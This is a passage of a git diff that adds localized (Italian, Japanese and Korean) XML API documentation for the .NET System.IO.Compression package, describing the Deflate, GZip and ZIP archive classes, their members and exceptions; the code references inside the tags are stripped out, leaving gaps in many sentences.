enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso da comprimere o decomprimere. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress e il flusso sottostante è aperto e supporta la lettura; in caso contrario, false. + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte letti nella matrice di byte. + Matrice per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure- Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa operazione non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + + + Fornisce i metodi e le proprietà usate per comprimere e decomprimere i flussi. + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando il livello di compressione del flusso specificato. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere i dati compressi. + Uno dei valori di enumerazione che indica se evidenziare l'efficacia di velocità o compressione quando si comprime il flusso. + true per mantenere l'oggetto flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + Il flusso non supporta le operazioni di scrittura come la compressione.(La proprietà di sull'oggetto di flusso è false). + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + + è null. + + non è un valore dell'enumerazione valido.-oppure- è e è false.-oppure- è e è false. + + + Inizializza una nuova istanza della classe usando la modalità di compressione del flusso specificata. Facoltativamente mantiene aperto il flusso. + Flusso in cui vengono scritti i dati compressi e decompressi. + Uno dei valori di enumerazione che indica se comprimere o decomprimere il flusso. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + è null. + + non è un valore di valido.-oppure- è e è false.-oppure- è e è false. + + + Ottiene un riferimento al flusso sottostante. + Oggetto flusso che rappresenta il flusso sottostante. + Il flusso sottostante è chiuso. + + + + + + Ottiene un valore che indica se il flusso supporta la lettura durante la decompressione di un file. + true se il valore di è Decompress, e il flusso sottostante non è chiuso e supporta la lettura; in caso contrario, false. + + + + + + Ottiene un valore che indica se il flusso supporta la ricerca. + false in tutti i casi. + + + Ottiene un valore che indica se il flusso supporta la scrittura. + true se il valore di è Compress e il flusso sottostante non è chiuso e supporta la scrittura; in caso contrario, false. + + + + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + L'implementazione corrente di questo metodo non presenta alcuna funzionalità. + Il flusso è chiuso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Questa proprietà non è supportata su questo flusso. + + + + + + Legge un numero di byte decompressi nella matrice di byte specificata. + Numero di byte decompressi nella matrice di byte.Se è stata raggiunta la fine del flusso, viene restituito zero o il numero di byte letto. + Matrice usata per archiviare i byte decompressi. + Offset dei byte in in corrispondenza del quale cui verranno inseriti i byte letti. + Numero massimo di byte decompressi da leggere. + + è null. + Al momento della creazione dell'oggetto, il valore di era Compress.-oppure-Il flusso sottostante non supporta la lettura. + + o è minore di zero.-oppure-La lunghezza di meno il punto iniziale dell'indice è minore di . + Il formato dei dati non è valido. + Il flusso è chiuso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Valore long. + Posizione all'interno del flusso. + Uno dei valori di . + Questa proprietà non è supportata su questo flusso. + + + Questa proprietà non è supportata e genera sempre un'eccezione . + Lunghezza del flusso. + Questa proprietà non è supportata su questo flusso. + + + Scrive i byte compressi nel flusso sottostante dalla matrice di byte specificata. + Buffer contenente i dati da comprimere. + Offset dei byte in da cui verranno letti i byte. + Numero massimo di byte da scrivere. + Non è possibile eseguire l'operazione di scrittura perché il flusso è chiuso. + + + Rappresenta un pacchetto di file compressi nel formato di archiviazione ZIP. + + + Inizializza una nuova istanza della classe dal flusso specificato. + Flusso che contiene l'archivio da leggere. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Inizializza una nuova istanza della classe dal flusso specificato e con la modalità specificata. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Inizializza una nuova istanza della classe sulla base del flusso specificato per la modalità specificata. Usa la codifica specificata per i nomi delle voci e, facoltativamente, mantiene aperto il flusso. + Flusso di input o output. + Uno dei valori di enumerazione che indica se l'archivio ZIP viene usato per leggere, creare o aggiornare le voci. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + La codifica da usate durante la lettura o la scrittura dei nomi delle voci in questo archivio.Specificare un valore per il parametro solo quando una codifica è obbligatoria per l'interoperabilità con gli strumenti e le librerie dell'archivio ZIP che non supportano la codifica UTF-8 per i nomi di voce. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Crea una voce vuota con il percorso e il nome della voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Crea una voce vuota con il livello di compressione e il nome voce specificati nell'archivio ZIP. + Voce vuota nell'archivio ZIP. + Percorso, relativo alla radice dell'archivio, che specifica il nome della voce da creare. + Uno dei valori di enumerazione che indica se privilegiare la velocità o l'efficacia di compressione quando si crea la voce. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Rilascia le risorse usate dall'istanza corrente della classe . + + + Viene chiamato dai metodi e per rilasciare le risorse non gestite usate dall'istanza corrente della classe e, facoltativamente, completa la scrittura dell'archivio e rilascia le risorse gestite. + true per completare la scrittura dell'archivio e rilasciare le risorse gestite e non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene la raccolta di voci attualmente presenti nell'archivio ZIP. + La raccolta di voci attualmente presenti nell'archivio ZIP. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Recupera un wrapper per la voce specificata nell'archivio ZIP. + Wrapper per la voce specificata nell'archivio; null se la voce non esiste nell'archivio. + Percorso, relativo alla radice dell'archivio, che identifica la voce da recuperare. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ottiene un valore che descrive il tipo di azione che l'archivio ZIP può eseguire sulle voci. + Uno dei valori di enumerazione che descrive il tipo di azione (leggere, creare o aggiornare) che l'archivio ZIP può eseguire sulle voci. + + + Rappresenta un file compresso in un archivio ZIP. + + + Ottiene l'archivio ZIP cui appartiene la voce. + Archivio ZIP cui appartiene la voce o null se la voce è stata eliminata. + + + Ottiene la dimensione compressa della voce nell'archivio ZIP. + La dimensione compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Elimina la voce dall'archivio ZIP. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ottiene il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce nell'archivio ZIP. + + + Ottiene o imposta l'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + L'ultima volta in cui la voce nell'archivio ZIP è stata modificata. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ottiene la dimensione non compressa della voce nell'archivio ZIP. + Dimensione non compressa della voce nell'archivio ZIP. + The value of the property is not available because the entry has been modified. + + + Ottiene il nome file della voce nell'archivio ZIP. + Nome file della voce nell'archivio ZIP. + + + Apre la voce dall'archivio ZIP. + Flusso che rappresenta il contenuto della voce. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Recupera il percorso relativo della voce nell'archivio ZIP. + Percorso relativo della voce, ovvero il valore archiviato nella proprietà . + + + Specifica i valori per l'interazione con le voci dell'archivio ZIP. + + + È consentita solo la creazione di nuove voci dell'archivio. + + + È consentita solo la lettura delle voci dell'archivio. + + + Sono consentite sia operazioni in lettura che in scrittura per le voci dell'archivio. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.xml new file mode 100644 index 0000000..2626cda --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 圧縮操作で速度または圧縮サイズのどちらを重視するかどうかを示す値を指定します。 + + + 圧縮後のファイルは最適な圧縮ではなくても、圧縮操作はできるだけ迅速に完了する必要があります。 + + + ファイルに対して圧縮を行いません。 + + + 圧縮操作の操作が完了するまでに時間がかかりますが、圧縮操作は最適に圧縮する必要があります。 + + + 基になるストリームを圧縮するのか、または圧縮解除するのかを指定します。 + + + 基になるストリームを圧縮します。 + + + 基になるストリームを圧縮解除します。 + + + Deflate アルゴリズムを使用してストリームを圧縮および圧縮解除するためのメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮するストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮または圧縮解除するストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress で、基になるストリームが開いており、読み取りをサポートしている場合は true。それ以外の場合は false。 + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + バイト配列に読み取られたバイト数。 + 圧縮解除されたバイトを格納するための配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または 基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + この操作はサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + この操作はサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + + + ストリームの圧縮および圧縮解除を実行するために使用するメソッドとプロパティを提供します。 + + + 指定したストリームと圧縮レベルを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮レベルを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータを書き込むストリーム。 + ストリームの圧縮時に速度または圧縮の効率性を強調するかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリーム オブジェクトを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + ストリームは圧縮などの書き込み操作をサポートしません。(ストリーム オブジェクトの プロパティは false です) + + + 指定したストリームと圧縮モードを使用して、 クラスの新しいインスタンスを初期化します。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + は null です。 + + が有効な 列挙値ではありません。または が で、 が false です。または が で、 が false です。 + + + 指定したストリームと圧縮モードを使用して クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 圧縮されたデータまたは圧縮解除されたデータが書き込まれるストリーム。 + ストリームを圧縮するか圧縮解除するかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + + は null です。 + + が有効な 値ではありません。または が で、 が false です。または が で、 が false です。 + + + 基になるストリームへの参照を取得します。 + 基になるストリームを表すストリーム オブジェクト。 + 基になるストリームが閉じられました。 + + + + + + ファイルの圧縮解除中にストリームが読み取りをサポートするかどうかを示す値を取得します。 + + 値が Decompress, で、基になるストリームが読み取りをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + ストリームがシークをサポートしているかどうかを示す値を取得します。 + 常に false。 + + + ストリームが書き込みをサポートしているかどうかを示す値を取得します。 + + 値が Compress で、基になるストリームが書き込みをサポートし、閉じられていない場合は true。それ以外の場合は false。 + + + + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在実装されているこのメソッドは、何の機能も提供しません。 + ストリームが閉じられました。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + このストリームでは、このプロパティはサポートされていません。 + + + + + + 圧縮解除されたバイト数を、指定したバイト配列に読み取ります。 + 圧縮解除されバイト配列に読み取られたバイト数。既にストリームの末尾に到達している場合は、ゼロまたは読み取られたバイト数が返されます。 + 圧縮解除されたバイトを格納するために使用する配列。 + 読み取られるバイトが配置される 内のバイト オフセット。 + 読み取られる、圧縮解除されたバイトの最大数。 + + は null です。 + オブジェクトが作成されたとき、 値が Compress でした。または基になるストリームが読み取りをサポートしていません。 + + または が 0 未満です。または の長さからインデックスの開始点を引いた値が 未満です。 + データ形式が無効です。 + ストリームが閉じられました。 + + + このプロパティはサポートされていないため、常に をスローします。 + long 値。 + ストリーム内の位置。 + + 値の 1 つ。 + このストリームでは、このプロパティはサポートされていません。 + + + このプロパティはサポートされていないため、常に をスローします。 + ストリーム長。 + このストリームでは、このプロパティはサポートされていません。 + + + 圧縮されたバイトを、指定したバイト配列から基になるストリームに書き込みます。 + 圧縮するデータを格納しているバッファー。 + バイトの読み取り元となる 内のバイト オフセット。 + 書き込む最大バイト数。 + ストリームが閉じているため、書き込み操作を実行できません。 + + + zip アーカイブ形式の圧縮ファイルのパッケージを表します。 + + + 指定したストリームからの クラスの新しいインスタンスを初期化します。 + 読み取るアーカイブを格納しているストリーム。 + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + 指定したストリームと指定したモードから クラスの新しいインスタンスを初期化します。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定されたモードの指定されたストリームで クラスの新しいインスタンスを初期化し、エントリ名に指定されたエンコーディングを使用します。また、必要に応じて、ストリームを開いたままにします。 + 入力ストリームまたは出力ストリーム。 + zip のアーカイブがエントリの読み込み、作成、または更新に使用されているかどうかを示す列挙値の 1 つ。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + このアーカイブのエントリ名の読み取りまたは書き込み時に使用するエンコード。エントリ名の UTF-8 エンコードをサポートしない zip アーカイブ ツールとライブラリとの相互運用性のためにエンコードが必要な場合にのみ、このパラメーターの値を指定してください。 + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + 指定したパスとエントリ名を持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + 指定したエントリ名と圧縮レベルを持つ空のエントリを zip アーカイブに作成します。 + zip アーカイブ内の空のエントリ。 + 作成されるエントリの名前を指定する、アーカイブのルートを基準とするパス。 + エントリの作成時に速度または圧縮の有効性を強調するかどうかを示す列挙値の 1 つ。 + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + + クラスの現在のインスタンスによって使用されているリソースを解放します。 + + + + クラスの現在のインスタンスによって使用されるアンマネージ リソースを解放するために、 メソッドと メソッドによって呼び出されます。オプションで、アーカイブの書き込みを終了し、マネージ リソースを解放できます。 + アーカイブの書き込みを終了し、アンマネージ リソースとマネージ リソースを解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在 zip アーカイブ内にあるエントリのコレクションを取得します。 + 現在 zip アーカイブ内にあるエントリのコレクション。 + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブ内の指定したエントリのラッパーを取得します。 + アーカイブ内の指定されたエントリのラッパー。エントリがアーカイブに存在しない場合は null。 + 取得するエントリを識別する、アーカイブのルートを基準とするパス。 + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + zip アーカイブがエントリで実行できる操作の種類を示す値を取得します。 + zip のアーカイブがエントリ上で実行できる操作の種類 (読み込み、作成、または更新) を示す列挙値の 1 つ。 + + + zip アーカイブ内の圧縮ファイルを表します。 + + + エントリが属する zip アーカイブを取得します。 + エントリが属している zip アーカイブ、または、エントリが削除されている場合は null。 + + + zip アーカイブ内のエントリの圧縮サイズを取得します。 + zip アーカイブ内のエントリの圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブからエントリを削除します。 + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + zip アーカイブ内のエントリの相対パス。 + + + zip アーカイブのエントリが最後に変更されたときを取得または設定します。 + zip アーカイブ内のエントリが最後に変更された時間。 + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + zip アーカイブ内のエントリの非圧縮サイズを取得します。 + zip アーカイブ内のエントリの非圧縮サイズ。 + The value of the property is not available because the entry has been modified. + + + zip アーカイブ内のエントリのファイル名を取得します。 + zip アーカイブ内のエントリのファイル名。 + + + zip のアーカイブからエントリを開きます。 + エントリの内容を表すストリーム。 + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + zip アーカイブ内のエントリの相対パスを取得します。 + エントリの相対パス。これは プロパティに格納されている値です。 + + + zip のアーカイブ エントリとの対話のための値を指定します。 + + + 新しいアーカイブ エントリの作成に限り許可されます。 + + + 新しいアーカイブ エントリの読み込みに限り許可されます。 + + + 読み取りと書き込みの両方の操作がアーカイブ エントリで許可されます。 + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.xml new file mode 100644 index 0000000..ce2055d --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.xml @@ -0,0 +1,446 @@ + + + + System.IO.Compression + + + + 압축 시 속도를 우선할지 압축 크기를 우선할지를 나타내는 값을 지정합니다. + + + 압축 작업은 결과 파일이 최적으로 압축되지 않더라도 가능한 신속하게 완료되어야 합니다. + + + 파일에 대해 압축을 수행할 수 없습니다. + + + 작업을 완료하는 데 시간이 더 걸리더라도 압축 작업은 최적으로 압축되어야 합니다. + + + 내부 스트림을 압축할지 또는 압축을 풀지 여부를 지정합니다. + + + 내부 스트림을 압축합니다. + + + 내부 스트림의 압축을 풉니다. + + + Deflate 알고리즘을 사용하여 스트림을 압축하고 압축을 풀기 위한 메서드와 속성을 제공합니다. + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 수준을 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축할 스트림입니다. + 스트림을 압축할 때 속도 또는 압축 효율을 강조할지 여부를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림 개체를 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + 스트림이 압축 등의 쓰기 작업을 지원하지 않습니다.(스트림 개체의 속성이 false입니다.) + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 지정된 스트림과 압축 모드를 사용하여 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둘 수 있습니다. + 압축하거나 압축을 풀 스트림입니다. + 스트림을 압축할 것인지 또는 압축 해제할 것인지를 나타내는 열거형 값 중 하나입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + + 가 null인 경우 + + 은(는) 올바른 값이 아닙니다.또는가 이고 가 false인 경우또는가 이고 가 false인 경우 + + + 내부 스트림에 대한 참조를 가져옵니다. + 내부 스트림을 나타내는 스트림 개체입니다. + 내부 스트림이 닫혀 있는 경우 + + + 파일의 압축을 푸는 동안 스트림을 읽을 수 있는지 여부를 나타내는 값을 가져옵니다. + + 값이 Decompress이고 내부 스트림이 열려 있으며 읽기를 지원하면 true이고, 이외의 경우는 false입니다. + + + 스트림이 검색을 지원하는지 여부를 나타내는 값을 가져옵니다. + 모든 경우에 false입니다. + + + 스트림이 쓰기를 지원하는지 여부를 나타내는 값을 가져옵니다. + + 값이 Compress이고 내부 스트림이 쓰기를 지원하며 닫혀 있지 않으면 true이고, 이외의 경우는 false입니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 이 메서드의 현재 클래스에는 기능이 없습니다. + 스트림이 닫혀 있는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 이 속성은 지원되지 않으며 항상 을 throw합니다. + long 값입니다. + 이 스트림에 이 속성이 지원되지 않는 경우 + + + + + + 압축이 풀린 바이트 수를 지정된 바이트 배열로 읽어 들입니다. + 바이트 배열에 읽어 들인 바이트 수입니다. + 압축이 풀린 바이트를 저장할 배열입니다. + 읽은 바이트를 넣을 의 바이트 오프셋입니다. + 읽을 최대 압축 풀린 바이트 수입니다. + + 가 null인 경우 + 개체를 만들 때 값이 Compress였던 경우또는 내부 스트림이 읽기를 지원하지 않는 경우 + + 또는 가 0보다 작은 경우또는 길이에서 인덱스 시작 위치를 뺀 값이 보다 작은 경우 + 데이터의 